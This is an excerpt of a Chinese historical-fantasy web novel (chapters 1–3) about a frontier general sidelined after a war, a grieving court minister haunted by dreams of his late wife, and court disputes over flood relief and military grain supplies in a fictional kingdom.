《绿茶太师豢虎记》 1. 梦别 天元十八年五月,大程国北境绥宁城。季鹰军守城大捷,耗时近一年的绥远安定战争终于要结束了。 盛满粮草的辘车缓缓停在主帅姜长鹰身前,卫将抽刀划开军粮麻袋,掺杂着发霉和变质的藜麦和粟米肉眼可见。 周遭将士铁青的脸上写着愤懑,姜长鹰静静盯着哗哗流出的粮,淡淡说了句:“能吃。”然后甩开战袍大步流星走向营地中心的军帐。 余下围观的几人面面相觑,其中一名卫将牙关一紧,追了上去。 “主帅,先前战事吃紧,军务繁杂,所以军粮的事情我们没有说,悉数三年来,这种情况屡屡发生,我们必须要查清楚,该追责的追责。将士们以身赴死,却连口粮都克扣,甚至给霉变之物,必须要给二十一万季鹰军一个说法啊。” 姜长鹰脚步不停,不知道有没有听进去。 “主帅,往日只要涉及将士,您行事都很果决,而如今犹豫,是不是担心这件事会牵连那位督粮官兼监军,乔大人?” “先前粮食短缺加变质,但他任命督粮官期间,短缺之事没再发生,我倒是觉得,此事定与乔大人无关,说不定,我们还承了人家的情呢。” 卫将深感无奈:“我知道您拿乔大人当知己,但是看他押运来的粮,真叫人难以信服。而且这不是第一次了,往日且不提,就拿这次来说,这是今年第二次下拨的军粮,彼时正值北境情势严峻。绥宁城外赖食国和胡蟾国集结,前线局势危急。我们后方的戎平城北侧,高浪国贼军一旦翻过暮寒山脉,绥宁城就会被前后夹击,后果不堪设想。” 军帐外,姜长鹰转过身,看着卫将平静道:“正因如此,乔大人才自请留在戎平城,替我解决后顾之忧。” 卫将刚从战场上下来,还是一身血性,他忍不住冷哼一声,“比起绥宁,肯定是戎平安全,何况戎平到底怎么守住的,死伤多少暂且不知,但是我从一开始就觉得,主帅此举十分草率,夫人还在戎平城,万一戎平陷入危局,您就不怕那乔大人以此相要挟,让您弃车保帅,弃绥宁保戎平吗。” “都是大程国的疆土,他不会的,而且就是因为将亲人托付给他,我才能安心在绥宁奋战。”说完,姜长鹰掀帘进了军帐。 卫将哑然,咽了口口水。 另一名卫将匆匆赶来,健步走进军帐,“主帅,戎平来信,说五日前夫人诞下一公子。” 姜长鹰刚要坐下又霍然起身,拿到信,迅速看了。喜色从姜长鹰脸上褪去,他凝眉不语,只说了句回戎平便去寻马。 戎平虽然转危为安,但早已是血流漂杵。 妻子宴深在难产中险象环生。府中人说生产之日恰逢城中战火四起,本来指望乔监军送来产婆,前去接应的府兵没有等到产婆,反而让其告知绥宁情势危急,唯有浴血死守戎平才能为季鹰军解决后顾之忧。 “乔监军呢?” “……” 守城将士面色凝重,无人作答。半晌才有个声音弱弱道:“回,回永益皇城了。” 姜长鹰的卫将奇道:“他就这么走了?自己一个人?是接到什么命令了吗?” 守城士兵也不知道状况,只能如实说自己看到的。“乔监军只令将士们继续坚守,便带着自己的护卫和巫马族赤影女走了。” 天元十八年八月,战功赫赫的季鹰军没有等来朝廷荣赏。姜长鹰反而接到一纸调令,令其携军三万,前往江南平水患赈灾。 ********* 十载如逸景,乾泽九年,乔府。 乔广陵在晨光中又看到了自己的妻子。 巫马儒骑在马上,利落而曼妙的身姿裹在一身劲装里,格外的挺拔有致。巫马儒一手勒住缰绳,一手执着长枪,奔跑在暮寒山脉下的旷野。长枪凌空划出风声,巫马儒甩出绳套,套住了野马群为首的悍马,紧接着跃身马背,带着马群绝尘而去。 “阿儒!” 漫天尘土里,乔广陵挥袖扇了扇,试图透过沙尘再次寻找妻子的身影。然而,迷障散后,站在眼前的却是一名整装待发的将士,虽然戴着兜鍪,看不见长相,但是看铠甲就知道他是季鹰军。 厮杀声于虚无处传来,乔广陵看向将士身后,乃是无际的焦土和残骸,仿若经历了一场庞大而久远的战争,留下一片狼藉无人修整。 乔广陵对眼前的怪异景象置若罔闻,他问这位将士:“姜帅呢?” “没有姜帅。” “什么?你不是季鹰军吗?”远处传来马蹄声,乔广陵没有挪开眼睛,有点焦急的等待将士回答。 “没有姜帅,也没有季鹰军,大程国再也没有姜帅和季鹰军了!”兜鍪里的那双目光刺痛了乔广陵,那人接着说:“是你让他们消失的。不是吗?”乔广陵脑袋传来嗡鸣声,他紧闭双眼,想从嗡鸣声中解脱。 方才的马蹄声渐近,在乔广陵身边停了下来。 乔广陵恍恍惚惚,睁开眼,那名将士消失了,面前之人又变成骑在马上英姿飒飒的巫马儒。 巫马儒冲他微笑,轻盈的翻身下马,扯着缰绳走向乔广陵。她的脸在乔广陵的视野里变得一清二楚,凌厉的眉弓下是一双清澈的桃花眼,因为迎风奔袭,擒着点点泪光。高挺的鼻梁,玲珑的鼻尖在北方的秋寒里微微泛红。她还是那么美,那么年轻,不对,她在这世上,还未来得及老去。 “这些年,你甚少离我这样近,这么清晰。”乔广陵内心激动,但是他面上不敢表露,眼前的人就像圈在泡沫里,一碰就会破散而去。 “茂哲!”巫马儒唤了他一声,平静的脸上荡开笑容,白净如瓷的肌肤反把阳光衬得多了几分妖艳,她摸了摸手里的马,又看向乔广陵说:“我把醉风带走了!” “醉风都走了,我怎么办?”乔广陵蹙起眉,格外委屈。 “你还有予鹿,让他快乐长大!”巫马儒抓起乔广陵的手,放到马的面额上,“你再摸摸它!” 没有温度!没有触感! 乔广陵感受不到抓住了自己的巫马儒,他只能目不转睛的看着她。 巫马儒看看醉风,又看看乔广陵,她缓缓说道:“陟彼平阳,赖马玄黄。陟彼平阳,巫马踏风骋战场[1 改编自《诗经》中的《国风·周南·卷耳》]”…… 巫马儒还是在乔广陵的泪眼里逐渐模糊,逐渐远去。 “陟彼高冈,赖军溃殇。陟彼高冈,季鹰挥戈复河山……” 然而她的声音却仍近在咫尺。 “且酌彼兕觥,维以不永怀。且酌彼金罍,维以不永伤[同1]!” ********* 乔广陵睁开眼,巫马儒消失的方向,变成了清晰的窗棂,他醒了。秋风微凉,把白色的悬纱一下一下轻轻往屋里送,乔广陵目光深远,透过窗,仿佛看到了永益城外的群山。 大程国帝都永益城乔家,世代文臣,出过宰辅,帝师,是出了名的清流世家。然而到了乔老太爷这一脉,逐渐专注游历四方,主张寓教无类,在民间开坛授课,却从未在一处固定建学纳徒。乔广陵的父亲,更是离经叛道,一手横笛一手执剑,远离庙堂,逍遥江湖,全然没有了乔家世代传承的书卷气,连上报朝廷,下泽黎民的男儿报复也没有。即便如此,乔家在文人中的地位从未动摇,世人皆称:不羡谪仙人,但期乔家翁。 身为乔氏传承,乔广陵这辈子算中规中矩。如今他任内阁次辅,华盖殿大学士,乾泽三年其妻因难产后体弱离世,此后不续弦不纳妾,一门心思都放在儿子乔矜身上。 “主子,您这就起了吗,今日休沐,不如再睡会。”乔府大管司北林掩上窗。他从不着宽大的外袍,一身乌青常服,收腰束袖,一丝不苟。北林不似一般官宦人家的大管司,文质彬彬,憨厚老实,而是满脸肃然,英气逼人,倒是更像个青衣侠客。 乔广陵从窗外收回目光,“可是有什么消息?”他嗓音微哑,走到桌前将杯中的冷茶一饮而尽。 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“我看那马都快像个人了,对予鹿亲近,对您却……”北林漫不经心的没有把话说完。乔广陵却满不在乎,接着说:“对我却爱答不理,心情差还要冲我尥蹶子。” 北林叹了口气,说:“可不是嘛,要知道,主子你当年还亲自为这马包扎过伤口,做马做得这么有个性,我生平还是第一次见。” “它是暮寒山野马群的头马,驰骋疆场的战士,英雄傲骨,马也一样。” 出了东苑,是一片荷花池,现在已经是满池残败,继续往南,穿过竹林,便是马厩了。醉风的蓬室是后建的,与乔府豢养的其他马匹隔开。二人还没走近,便听到醉风的蓬室传来声音。 乔矜把小手盖在马的前额,眼里含着泪,声音却不带哽咽,他轻轻的念着:“陟彼平阳,赖马玄黄。陟彼平阳,巫马踏风骋战场。陟彼高冈,赖军溃殇。陟彼高冈,季鹰挥戈复河山。且酌彼兕觥,维以不永怀。且酌彼金罍,维以不永伤。”[同1] 乔广陵探头往里看去,老马醉风安静的躺在地上,虚弱的喘息,眼睛还在缓慢开合。乔矜跪坐在马旁,让六岁的他更显娇小。乔矜附身将脸贴了贴马儿的面额,说:“醉风叔,如果有来世,你就还做一匹野马,如果有天堂,你就去找我娘吧。” 眼前的话别把乔广陵的思绪推回梦里,巫马儒执枪降马,巫马儒和自己道别,巫马儒带走了醉风……别想了,梦而已,这样的梦,这些年重复了不计其数。但,这只是梦吗?不,这是现实。乔广陵循着今晨的梦,又跌入了回忆。 暮寒山下,初遇毕生知己,驯马场上,邂逅此生挚爱,北站场上,季鹰军焘旗猎猎,严阵以待…… 后来……梦中将士的话再度响起:“没有姜帅,也没有季鹰军,大程国再也没有姜帅和季鹰军了!”“是你让他们消失的。” 后来,知己陌路,将军贬黜,挚爱命陨,就连大程江山也…… 凉风袭来,乔广陵的鬓发随风而动,他眉宇微蹙,长睫下,清明的眸中映射着无尽的怅然,森森寒意将他包围…… 北林侧目看着他,觉得今年三十有三的乔广陵依然担得起“公子无双”这四个字。他早已不再叫他公子,自天元十七年开始北林习惯上用“主子”称呼乔广陵,而这个改变的始点,确切来说是戎平城之战。北林在心里默默喊了声“公子”,有点想念曾经的日子,他抬眼看向远处的竹林,打算任由乔广陵在回忆里坠着,却不知为何,一股苦涩和委屈涌上来。 “醉风不行了,予鹿在和它告别,主子不进去看看吗?”北林终究还是不忍,他打断乔广陵的沉思。 “你说,”乔广陵深吸了口气,又缓缓的吐出来,“时入八月,哪里还有接天的莲叶?” “恩江以南,或许还有。”北林似是不经意答道。 “……江南!” 2. 水患 暴雨如注,天地都没在水雾里,连成一片,一队人马冒雨奔袭,划破了这个整体。 “大公子,丁哥,咱们从云城回来,紧赶慢赶大半个月了,眼下到坞城恐怕还需三日。”箬笠下,一个青涩的少年冲着跑在最前面的身影喊。 姜南阗攥着缰绳,十六岁的他已经把马骑得十分娴熟:“路过谢城就看到不少民舍被淹,谢城尚且如此,今年的缮城、株城恐怕更糟糕了。” 队伍里另一个少年的声音响起,他清亮的嗓音带着笃定:“就怕比这更糟糕,得赶紧回去告诉指挥史,江南九城,怕是又要起水患。” 说完这句,丁越脑海里浮现了天元十八年随养父姜长鹰南下赈灾的场景,尽管那年他才七岁。但是那场赈灾对于姜氏而言意味着什么,现在的他已完全知晓。那场水患使得季鹰军在大程五方军列中消失,从此姜氏没落,同时抹灭的,还有三万将士的赫赫战功和雄心壮志。 ****** 天元十八年八月,季鹰军驱大程国宿敌胡赖于暮寒山脉以北,自此北方平定。天元帝下旨召姜氏下江南,协理江南九城水患。十九万兵马镇守暮寒山及北部四城,三万季鹰军浩浩荡荡,横渡恩江,见到的是完全不同于兵燹之祸造就的人间惨象,这是姜长鹰第一次直面这样的天灾。 时任江南布政史的陆谦袁在城外临时搭建的集营地接见了姜长鹰。他第一次见这位大程国镇北大将军,他内心顶着压力,在人高马大,英姿勃发的姜长鹰面前没有表露怯懦,亦没有过多寒暄,而是望着聚在一起的灾民说到:“姜帅一路辛苦,姜帅可知此行为何?” 灾情紧急,姜长鹰没有在意陆谦袁的冷峻,他也望向这人间炼狱说:“破水患。” 陆谦袁点点头,看了一圈姜长鹰身后的几名随行将士,仰面对上姜长鹰的目光说:“江南九城,毕竟不似在永益皇城,工部只能向兵部要人,可是江南除了云城军,其余八城只有坞城、瑞城、凉城各设有两千守备军,且这点人力早已全部投入赈灾之中。哎!”陆谦袁叹了口气,扶了一把长髯,背过手走到桌案前,拿起灾情呈报递给姜长鹰。 云城军动不了,那是大程国部署在南边镇压南方海贼的唯一兵力,动了,就不仅仅是水患那么简单。 姜长鹰扫过里面的舆图,中部五城灾情最重,尤其是缮城、株城、和谢城。 “工部和吏部核拟了兵力银钱,是要人没有,要钱不够,好在今年暮寒山一战大捷,乔大人奏请,推举季鹰军南下赈灾,若非如此,此次水患,真真是无解啊。” 云城军动不了,姜长鹰知道,但是姜长鹰意外的是让自己前来江南的人居然是乔广陵。 乔大人?乔广陵? 陆谦袁冲边上的一名胥吏抬手,胥吏递上一块令牌。“坞城守备总镇在救灾民的时候不幸身殒,坞城守备军由军备使带着在疏导管沟,安置灾民,既然姜帅来了,就暂归姜帅调配。”陆谦袁拿着令牌略显慎重的呈给了姜长鹰。姜长鹰没有多做思考,接过令牌,他自知只会行军打仗,一时也不知道从何着手,只等布政史发话。 陆谦袁为官多年,对姜长鹰的心思了然。他说:“江南都指挥使邢大人在云城督查,被水患堵住往坞城来的路,海贼听闻江南有灾情,正蠢蠢欲动,所以邢大人也抽不开身,拨银施粥,修葺民房,排水筑堤这些事情我已经安排下去了,只是不知道各地方的灾情具体如何,姜帅带来的人,需得视各地情况仔细安排。” 姜长鹰是个武人,脑子却转的很快,当即说到:“陆大人放心,我即刻前往各城巡视,各地赈灾章程,人手布设,我会在陆大人原有的基础上视灾情再做计较,大人派一名佥事随行即可。” 陆谦袁看向方才递令牌的胥吏,那人会意朝姜长鹰拱手微微欠身:“在下宋露,听凭姜帅调遣”。 —— 巡灾进展不算顺利,姜长鹰并不慌乱,季鹰军最不怕的就是吃苦,安排下去的事情再难也能有个结果。缮、株、谢三城的情况实在过于惨烈,姜长鹰巡视灾情也多做了停留。缮城知尹张中云在连日的赈灾中已经没有了官仪,他不着官服,穿着袯襫踩着油靴,礼数却依然周到,见到姜长鹰,两手交叠在额前屈身行了个全礼,起身说:“姜帅,姜大人!”张中云开口已露悲恸,“缮城遭逢此大灾,我这个知尹实在是……” 卫将黄碚跟随姜长鹰多年,他安慰道:“张大人不必过于忧心,姜帅已下令在缮城布设三千兵力,赈灾期间,张大人可视灾情调遣。” 缮城在江南九城中实力最弱,财力不济,灾情也最为严重。听闻季鹰军给缮城布设了三千人,张中云顿感卑陬,于是说:“姜大人,水患持续了半月,眼下灾民安置,民房修缮尚在进行,有季鹰军鼎力协助,我自是不再忧心,只是灾疫往往并行,我最怕的是……疫、疫病啊!” 随行佥事宋露怀里抱着一个册本,他一路跟随姜长鹰巡查,话也不多,此时倒是开了口:“知尹大人,莫不是城中已有起疫病的征兆了?” 张中云心中其实已经很笃定了,但是嘴上不能松:“暂时未闻,只是……灾情尚未缓解,布设缮城的季鹰军将士们也需要妥善安置,若是……” 若是季鹰军在缮城染了疫病,就等同在姜长鹰的心里放刀子,那可是跟着他出生入死的将士,他不清楚姜长鹰的脾性,他一个小小的知尹也开罪不起姜长鹰。眼下疫病已经起了,若是把疫病的消息早早放出去,姜长鹰还会不会来缮城都难说,说不定会直接绕道,先不管缮城,寻个因疫病要另做打算的由头也未可知。张中云不能放任城中灾情不管,季鹰军此时不来,缮城百姓就失去了希望。但是他也不想看到浴血奋战的将士栽在这可恶的水患里,疫病迟早要爆发,缮城必须抓住季鹰军这根救命稻草,但是也要将疫病的事早早说出来,让姜长鹰心里有个底,等到疫病蔓延,说不定姜长鹰会稍稍感念他的这番“早早”提醒。 姜长鹰摸了摸腰间的刀柄,说:“大人府上可有大夫?” 张中云已经在方才的沉默里低了头,这会子抬起头还未反应过来要答什么。 “有没有都不妨事。”姜长鹰没等张中云琢磨清楚,接着说:“缮城中的郎中,张大人可以尽快集结起来,先拟出两张方子,按照……按照大夫以往的资历、经验来拟,一个方子防疫病,一个方子治疫病,方子拟好交给黄将军。” 姜长鹰看破不说破,张中云听得有些发愣,没有读到姜长鹰脸上的喜怒变换,可是转头瞥见了一言不发的黄碚和面无表情的宋露,齐刷刷将目光刺过来,张中云觉得自己又矮了一大截。 张中云知道所谓的“大夫的经验”,听上去是按照以往水患后常见疫病拟药方,实际则就是按照此次缮城疫病的诊断拟药方。张中云把缮城的好大夫凑在一起,几番斟酌拟出了两张药方交到了黄碚手中。 黄碚把方子给随行的季鹰军军医瞧了,誊抄了几份,命斥候送去各城。 一月过去,水患造成的灾祸还未消除,各城都在加紧修缮工事,疫病四起,姜长鹰刚回到坞城,疫病呈报已经先递到了陆谦袁的案头。 陆谦袁冷峻的脸上多了愁苦,他盯着挂在墙上的舆图对姜长鹰说:“疫病先是从缮城和株城起的,消息递到我们这里的时候,疫病肯定已经蔓延开来了。” “疫病不难治,只是除了施粥,恐怕还要增设药棚,各城汇集城中大夫,朝廷出钱,就地征收药材。”姜长鹰不疾不徐,镇定的说。 陆谦袁面对着墙,似是叹了口气,分不清是冷笑还是苦笑了一声:“姜大人可还记得我同你说过,此番赈灾,人不足,钱不够?” 姜长鹰知道布政史的难处,“赈灾银拨下去几成了?现在可不仅仅是水患……” “眼下赈灾银能勉强维持各城施粥以及灾民安置,如果不算后续的修缮和重建事宜,能捱到十月,可偏偏起了疫病,现在是否能熬到九月中旬都难说,还有药材的问题,我已经命人往西去擎南采购。但是银子,我怕户部一时半会是拨不下来了。” 大程连年战事不断,又有天灾,国库底子虚的事姜长鹰也知道一些,况且户部拨银子,恐怕也是拖到秋后水患彻底消失,灾后修缮之际,那时候…… 赈灾银流程怎么走,经谁的手,下面的人怎么用,账怎么做,这些没有办法一一细究核查,即便陆谦袁公正严明,也不能杜绝贪污盘剥、中饱私囊的事,姜长鹰还没有那么天真,这也不是他能伸手的地方,但是办法他要想,自己千里迢迢从暮寒山来到这里,总不能作壁上观。 集营外,卫将黄碚手里拿着兵册,边走边听斥候江出汇报各城赈灾事宜,见佥事宋露手里拿着什么正在皱眉思考,便凑过去:“宋大人,你在这琢磨什么呢?” 宋露立马欠身行礼:“黄将军,江将军。我只是在看这药方,觉得这预防的方子,可以将连翘、当归、天麻去掉,换成三白草,另外……” “停!”说话的是季鹰军斥候兼姜长鹰近卫江出。虽然穿着戎服,江出一开口,近看还是能看出毛小子的模样,他直来直去:“佥事大人也懂医?” “小时候乡里有个老先生,耳濡目染学过一些,不过江南多产药材,很多农户采摘药材贴补家用,都是懂一些药理的。这方子放在寻常并没有不妥,只是不适宜灾情期间灾民的体质,另外药材紧缺也是个问题,若是将其中几位药换成本地盛产的三白草,不仅效果甚佳,还能余下些药材钱。” 黄碚年纪稍长,他与姜长鹰有点像,说话的时候语气平和却带着威严:“说到这个,你们江南九城粮产不高,我看有些药材倒是长得甚好,就比如你们这里的麦冬、芡实、丹参、荆芥、苦菊、百合都是上等的。” 宋露听得发愣,江出嗔笑一声,在宋露背上拍了一把,说:“黄将军是暮北的大管家,以前管过辎重,这什么药材、军粮、马匹、军械什么事他都知道一点点,随口说两句,还真的能把人唬住。” 宋露也跟着冁然一笑:“黄将军博学,威名赫赫的季鹰军,倒是和我原先料想的不一样。” “你肯定以为,季鹰军都是一群 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“不是。”宋露摇摇头,“事关边关戍防,粮食药材进了观澜仓,擅动可是要杀头的。每年朝廷三拨军粮后,余下的要转运到城内的义仓,这次赈灾粮是义仓的余粮。但是将军也知道,今年天公不作美,收成不佳,只怕今年和明年观澜仓的军粮尚且不够,指不定是要从擎南仓调配。” 闻言黄碚、江出勃然变色,互相看了一眼。江出欲言,但话到嘴边又咽了回去。 —— 赈灾集营中。 姜长鹰听黄碚和江出把听到的事情一一说了,这会子军帐里都是季鹰军,他解了外面的束甲,更显健硕。 江出耐不住,直截了当的说:“听起来每年暮北的军粮应该是当年粮,那为何连年季鹰军军饷并不是新粮,数量也短缺得厉害。” 黄碚也说:“听那宋露说的朝廷把军粮收整押运很当回事,每年三次下拨军粮,总归有新粮才对,即便是陈谷也不该是到我们手里的那种,这中间的猫腻不小,那宋露只是个佥事,恐怕只看得到表象,并不知内情。” 姜长鹰喝了口茶,说:“这事暂时不好查,不过最要紧的是水患的事……”姜长鹰把杯盏稳稳的置于桌面,决然道:“必须解决。” ****** “怎么解决?”坞城指挥史府邸中,姜南羿在八角亭的石桌上托着腮,看着棋盘漫不经心的发问。 宋露捻着一枚白子,他留了虎须,衬得比九年前多了儒雅和老成,他眼中含笑,慢悠悠的调笑说:“五公子若是认输,我就告诉你这局的解法。” 姜南羿轻笑:“宋伯,我是问我爹爹,后来是怎么解决灾民和疫病的?您也是自那之后就一直跟随着我父亲的吗?”他一边说着,一只手正要去棋奁中捻子…… 啪! 黑棋落子,宋露发现自己铺垫已久合围之势已破,盘中白子被吃了大片。 “二哥,观棋不语。”姜南羿不高兴的说:“我不要你帮。” “我没言语,我这是教你如何一招制敌。”江南疏才十一岁,眉宇间镌刻着秀气,他被教养的十分得体,恭敬的朝宋露行了一礼,“爹爹正在前院寻宋伯。”又转头对姜南羿说:“你想练棋,二哥陪你。” “爹爹忽然找宋伯做什么?是不是大哥回来了?”姜南羿凭借稚童的敏锐发问。 江南疏神色微沉,点了点头。 “大公子和丁公子等人自春天替指挥使送守备军报给都指挥使刑大人,到如今已经有近半年时间,云城段将军想必十分喜爱这两位,才会将人留到现在。”宋露道。 宋露到卉沁堂的时候,姜南阗、丁越等人还未更衣,只是脱去了袯襫以及在雨中泡软的鹿皮靴,同跟着自己一起南下的近卫黄其甫、江出等人站在厅正中,此刻十六七岁的少年们脸上多了几分大丈夫的味道。姜长鹰有五个多月没有见这几个孩子了,心里十分喜悦,脸上却没有露出三分笑容。听大儿子姜南阗把水患的事上报完,姜长鹰把站着的人扫了一圈,问道:“你们看了这一路,有没有头绪?” 姜南阗知道姜长鹰这是要考他,说:“爹,这事需得先报给江南布政史陆大人,不过可以让咱们的斥候先下去九城地方,嘱咐知尹和守备军总镇,提早做好部署。” 黄其甫是姜南阗的随身护卫,心思和他爹黄碚一样细腻,说:“这次斥候需要在九城都放个笔杆子,守备军里的佥事和地方衙门的胥吏们也要一同将账目、水患的大小决策和部署,全部详细记录在册。” “其甫哥想得真周到,肯定是高义叔教的你。”丁越生在暮北,比姜南阗大一岁,自小养在姜府,在斥候队里长大。 姜长鹰身边的卫将黄碚笑着看了他一眼,用长辈的语气说:“几位公子里头,丁公子最为年长,有没有什么高见呢?” 丁越面色舒朗,毫不犹豫的说:“高见谈不上,我只有一句——守好粮仓!” 堂上的长辈们都似是被噎了一下,不约而同的偷偷把目光挪向了姜长鹰。 3. 赈灾 永益城东边昌隆街,近皇城,蔚王府座落于此。蔚王赵瑭是先皇后姐姐所生,乾泽帝表兄。自小便与乾泽帝亲厚,自乾泽帝继位,赵瑭因勤王护驾,又有从龙之功,获封一字亲王,亲王之尊非皇帝亲兄弟或皇子而不得,此举足见乾泽帝对赵瑭的荣宠。 蔚王府大官司明礼小心翼翼的托着捧着榆木托盘,上放一方铜鼎,铜鼎里面摆放大小形状均匀的金碳,煨煮着一琉璃盏。明礼走近内厅,冲着柔纱帐行礼,“殿下,药好了。” 柔纱帐触风即动,起伏垂落中,一道道光波随之侵泄。明礼等了一会,帐内人方才缓缓探出一只手,把那琉璃盏拿了,旋即是喝药的咕咚声,一声轻叹后,幔帐开启。明礼弯下腰,不敢抬头。 “这药味不够,该换新了。”声音浑厚,透着不悦。 “回殿下,这是最后一格药了。” “哼。”蔚王微微蹙眉,冷笑道:“邢柏年死在江南了?我的庄子都快备好暮北的粮了,他要是再不给朝廷长表军需,军粮下拨令就迟迟没动静,那样一来,不仅贻误皇上清修,永益城那些个贵人,也都要不高兴了。” 明礼有点害怕,胆战心惊的说:“殿下,邢大人的奏报已经提交给兵部,兵部也早就核拟了今年五方军军需,只是……只是内阁那边好像是卡住了。” “什么?内阁?”蔚王嗔道:“晁三易那个老东西,作得什么妖,平白耽误本王的事。” “听说,江南又起水患了……或许……” “江南年年有患,这么司空见惯的小事,值得上排在本王军粮一事的前面?” 蔚王声震宇内,边上的黄铜缶摆件发出微微嗡鸣,明礼弓身,不敢再动。 “你过来。” 明礼缓缓抬头,由下而上,才看清今日蔚王着一身白绸里衣,胸襟微敞,深色的肌肤掩映其中。乌色的发散落在肩后,是个仙风道骨的贵气象。 明礼走近,蔚王安抚道:“别怕。”把琉璃盏递过去,“告诉兵部尚书梁仪善,别让本王等太久。” “是。”明礼双手齐眉,接过琉璃盏。 蔚王看着轩窗上的蝉纱,饱含向往般的说:“闭关多日,也不知入秋以来,外面是怎样风景。” ****** 永益城天朗风和,一辆绀青色的马车行走在鸿宇大街上,车身素雅贵气,离轩天门尚有段路,乔广陵就赶走了自己的马车。 北林知道乔广陵这是又想置身自然,感受所谓秋天的意境了,只能跟着他道:“主子,晁阁老恐怕都已经到了文渊阁了,他不骂你,你也不能这么猖狂。万一你那些僚属们联名来参你,你怎么办?” “这可不有趣啊,我倒是很想听听他们写在那奏本上的话。” 北林白眼翻上天,乔广陵仍旧自顾自不急不慢的走着。 大程自卯正帝起定下五日一早朝,早朝后一日为休沐日,平素没有早朝的日子,朝臣需要各司其职,按章程处理职责内事务。内阁是极其忙碌的所在,饶是没有大事,内阁元首晁三易也得每日到文渊阁,其余阁部们也不敢有丝毫懈怠,乔广陵在政务算不得不上心,只是两相对比之下,他行事散漫不羁,常引得督查院和内阁官员不满,但是奈何内阁元首晁三易对他也是睁一只眼闭一只眼,乾泽帝更是对他格外放任,因而当着乔广陵的面,无人敢置喙半句。乔广陵心里有数,却也心安理得的接受。 乔广陵一只脚刚踏进文渊阁,就听到了熟悉的名字。 “阁老,江南水患四起,姜长鹰到底只是坞城指挥史,不是江南九城的指挥使,这放粮的事情,还是交由江南都指挥使邢柏年亲办比较好。”阁部蔡绅说。 阁部王柳道:“是啊,况且户部下拨赈灾银,经手的都是官阶在上的人,这银粮归账,理当在一处才能总览全局啊。” 李明维不认同:“也没有说让姜长鹰姜指挥史放粮,不过真到了放粮时候,纵然姜长鹰官阶不高,但他作为观澜仓镇守,开仓的事还能略过他不成?” 王柳:“你……” “可是今年天下五方军粮的事还没提上日程,现在就说放粮权属为时尚早吧。”秦俢接着说:“赈灾粮不一定就从观澜仓出,更何谈让姜长鹰统管此事呢。” 说到这里,内阁次辅周岑又想到一层:“此言不假,这灾情赶着军粮一起,军队粮饷是头等大事,观澜仓直接影响到暮北军的军粮供给,而这暮北军又是大程护国柱石,还不知道此次水患程度和发展态势,贸然就放了观澜仓开仓权,恐怕后续很多事情都会难办。” …… 文渊阁内正说得热闹,年逾五十的晁三易仍旧坐在自己的桌案里,把众人的话都听了,也没抬头,徐徐道:“乔大人怎么看呢?” 众人回头,才发现乔广陵已经不知何时站在最后,默不作声的聆听,今天大家都没有注意到他姗姗来迟,在这争执不休中,晁阁老偏偏想到了这个人。 乔广陵听了半晌,心里已经对所谈的整件事琢磨出了大概,嘴上却说:“阁老恕罪,我来得迟,还未来得及知晓诸位所议之事。” 晁三易抬头看了他一眼,又低头看了眼手里的奏折,搁了笔说:“也罢,此事再议,今日就到这里吧,你们先处理手中事物。”众人闻言都恭敬的欠身散开来。 乔广陵走到晁三易的案前,喊了声:“阁老。” 晁三易“嗯”了声,起身往案卷室走去。乔广陵紧随其后。 文渊阁作为内阁办事地,内置十几间案卷室,外面的偏厅里放着未完和未归档的案卷,寻常处理事物内阁也只会去偏厅。挨着正厅和办事处的案卷室里放着的均是近几年的案卷,年代更久的都已经造册归档放置在西院的案卷室。自天元年间晁三易入内阁,就免去了司礼监整理内阁案卷的职责,所有案卷文书的整理造册归档全部是内阁次辅携内阁大学士来办。 晁三易背着一只手走过架几案,另一只手拿起架上的案卷,说:“内阁大小案务在收纳时就做了大致的分类和归档,非要紧的都做了概述集册,文渊阁留下的都是重要的卷宗。虽然如此……”晁三易转过身看着乔广陵接着道:“乾泽九年间,所有的卷宗也已经堆积如山,还需作进一步的整理,你先按年份、卷宗类别,编写个大概的归档条陈。待我看过,你再让下面的学生们一起和你着手办吧。” 乔广陵看着满屋的案卷,不禁呼吸一滞,缓了片刻,道:“是。” 晁三易走出去的时候,像是欲言又止,乔广陵觉察到,略带疑惑的看着他。最终晁三易说:“茂哲,你、沉心静气,先把手头的这件事办好吧。” 晁三易已经迈出去了,乔广陵独自喃喃的喊了句:“老师……” 天色渐暗,乔广陵果然沉下心独自在这案卷室里待了一天,忽然,他眉目紧蹙,手中卷轴封签上写着:江南水患军粮案归宗乾泽元年封。 “此案不应该在大理寺案卷室吗?”乔广陵自言自语,忽听到门口响动。青色官服裹着一道修长的人影从架几后走出来,对上乔广陵的视线,挑起嘴角,颇有风度的欠身行了平辈礼。乔广陵把人看清,也回了礼道:“周大人。尚未归档的卷宗都在最外面的偏厅,周大人来这里,是要帮我拟条陈吗?” 周岑道:“是啊,归档说起来不难,但是面对如此庞杂的案卷,乔大人肯定也是头疼的,需要帮助尽管开口,槐觅愿为乔大人分忧。” 乔广陵淡然道:“我就这么一说,怎敢劳烦周大人,你乃是内阁次辅,还是多为阁老和朝廷分忧才对,阁老罚我,我不敢假手于人。” 周岑看了一眼乔广陵手中的案卷道:“有些卷宗,乔大人如果不知道怎么归档,可以问我,毕竟乾泽年间经手的事务,我多少都还有点印象,可以按照案件本身定性,归档起来更合理些。” “周大人说得是,茂哲先谢过。”乔广陵乾泽三年才入的内阁,周岑天元年间就入阁了,听上去,周岑说的是有理,但是乔广陵并未对这善意有过多的表示,周岑也不再多言。周岑离开后,乔广陵继续沉浸在堆山马海的案卷里。 明月高悬,乔府的接驾早就到了,北林在轩天门外等了许久,才见到乔广陵。夜色凄清,乔广陵神色看上去没有不同,见他径直上了车,北林捕捉到了他的低落。 马车缓缓前行,北林实在想不通乔广陵怎么了,先开口找了句话:“主子今天出来得这么晚,难不成今天晁阁老舍得罚你了?” 乔广陵整了整衣襟,撩开帘望向皇城上的卫兵,看了一会道:“北林,过几日兵马总属司的沈大人要从忘水城回来了,你递个请帖过去,就说予鹿想他了。” “予鹿一见到他就要哭,您确定这么说沈大人会信吗?” “我让予鹿他多跟着沈大人学学功夫。” “我不爱听了,我这大程数一数二的身手还不够他学的吗?” “你身手是好,就是太纵着他了,你看看你的本事他学会了几成?” “啊?”北林睁大眼诧异道:“您儿子年方六……” 一队巡视的卫兵整齐经过,乔广陵放下帘子,对上北林的眼神,没等他说完忽然问:“江南水患的事你知道吗?” “岁……知道……” “……” 北林知道乔广陵怎么回事了,他有点不悦的说:“主子,我觉得其实你不必……” “北林啊,你胆子肥的很,这种事也敢不告诉我,你若早点告诉我,我心下有个准备,今日阁老问起也不至于毫无准备,好了,连同这些时日迟到累计的不满,一并罚了。” 